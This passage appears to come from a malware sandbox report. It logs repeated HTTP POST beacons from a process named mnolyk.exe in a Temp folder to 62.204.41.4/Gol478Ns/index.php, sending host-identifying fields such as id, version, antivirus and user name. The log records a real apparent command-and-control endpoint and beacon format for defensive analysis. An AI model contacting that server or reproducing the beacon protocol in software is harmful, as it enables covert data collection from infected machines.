Feb 6, 2023 14:19:15.331311941 CET	744	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
545	192.168.2.5	50235	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:15.519092083 CET	745	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:15.585570097 CET	745	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
546	192.168.2.5	50236	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:15.762067080 CET	746	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:15.827687025 CET	746	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
547	192.168.2.5	50237	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:16.017119884 CET	747	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:16.085264921 CET	747	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
548	192.168.2.5	50238	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:16.271311998 CET	748	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:16.337477922 CET	748	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
549	192.168.2.5	50239	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:16.511065006 CET	749	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:16.574798107 CET	749	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
55	192.168.2.5	49745	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:57.611372948 CET	256	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:57.675415993 CET	256	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
550	192.168.2.5	50240	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:16.745452881 CET	750	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:16.811587095 CET	750	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:16 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
551	192.168.2.5	50241	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:16.998707056 CET	751	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:17.066359997 CET	751	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
552	192.168.2.5	50242	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:17.244961977 CET	752	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:17.309746027 CET	752	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
553	192.168.2.5	50243	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:17.486099958 CET	753	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:17.552581072 CET	753	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
554	192.168.2.5	50244	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:17.729582071 CET	754	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:17.794356108 CET	754	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
555	192.168.2.5	50245	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:17.964917898 CET	755	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:18.029665947 CET	755	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
556	192.168.2.5	50246	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:18.198358059 CET	756	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:18.267981052 CET	756	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
557	192.168.2.5	50247	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:18.456525087 CET	757	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:18.521711111 CET	757	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
558	192.168.2.5	50248	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:18.703803062 CET	758	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:18.769320965 CET	758	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
559	192.168.2.5	50249	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:18.949647903 CET	759	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:19.013935089 CET	759	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:18 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
56	192.168.2.5	49746	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:16:57.847861052 CET	257	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:16:57.920320988 CET	257	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:16:57 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
560	192.168.2.5	50250	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:19.184250116 CET	760	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:19.252294064 CET	760	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
561	192.168.2.5	50251	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:19.419157028 CET	761	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:19.485268116 CET	761	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
562	192.168.2.5	50252	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:19.663269997 CET	762	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:19.728203058 CET	762	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
563	192.168.2.5	50253	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
Feb 6, 2023 14:19:19.903146029 CET	763	OUT	POST /Gol478Ns/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 62.204.41.4 Content-Length: 88 Cache-Control: no-cache Data Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 36 26 73 64 3d 36 66 38 63 30 66 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 30 39 33 39 35 34 26 75 6e 3d 61 6c 66 6f 6e 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.66&sd=6f8c0f&os=1&bi=1&ar=1&pc=093954&un=user&dm=&av=13&lv=0&og=1
Feb 6, 2023 14:19:19.967570066 CET	763	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 06 Feb 2023 13:19:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
564	192.168.2.5	50254	62.204.41.4	80	C:\Users\user\AppData\Local\Temp\4b9a106e76\mnolyk.exe

Timestamp	kBytes transferred	Direction	Data
